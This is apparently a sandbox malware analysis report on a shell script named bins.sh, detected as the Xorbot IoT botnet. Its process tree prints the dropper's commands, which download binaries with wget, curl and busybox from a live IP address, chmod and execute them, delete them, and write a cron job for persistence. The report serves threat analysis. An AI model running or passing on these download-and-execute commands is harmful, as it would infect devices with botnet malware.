Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/01/2025, 15:00

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250127-sdde8avkfn
  • SHA256 567983dd765305145c387d2f1136d34b6e1ca901f3fcde8dc0882abc49a0113a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:647
      • /usr/bin/wget
        wget http://94.154.35.94/bins/7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:650
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:671
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:677
      • /bin/chmod
        chmod 777 7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • File and Directory Permissions Modification
        PID:682
      • /tmp/7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        ./7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • System Network Configuration Discovery
        PID:684
      • /bin/rm
        rm 7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
        2⤵
        • System Network Configuration Discovery
        PID:687
      • /usr/bin/wget
        wget http://94.154.35.94/bins/fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        2⤵
        • Writes file to tmp directory
        PID:688
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:707
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        2⤵
        • Writes file to tmp directory
        PID:718
      • /bin/chmod
        chmod 777 fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        2⤵
        • File and Directory Permissions Modification
        PID:728
      • /tmp/fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        ./fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
        2⤵
          PID:729
        • /bin/rm
          rm fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://94.154.35.94/bins/eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            ./eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:761
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:763
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:765
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:766
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:767
                • /bin/rm
                  rm eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
                  2⤵
                    PID:775
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/1zkq6WNLPhCjqPql2SgKaqgEC4JxuW64UL
                    2⤵
                      PID:778

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw

                        • Path /tmp/7mZvo8ZIvNOHdipKYYUyY2pkUgq3v2CXRw
                        • Size 111KB
                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                        • MD5 SHA1 SHA512 SSDEEP

                        eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9

                        • Path /tmp/eDWzQokcpCIRhhozmcwyw5GJeEdzCvCZD9
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP

                        fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF

                        • Path /tmp/fX24i9AQpJ2ab1DAzrqcyjaMMPvu74Y8SF
                        • Size 117KB
                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.j8yZZW

                        • Path /var/spool/cron/crontabs/tmp.j8yZZW
                        • Size 210B
                        • SHA256 b1d87df6508e73bf0fdc1b01423601dafb434f1b7e4a44e3c63a27961f523bb6
                        • MD5 SHA1 SHA512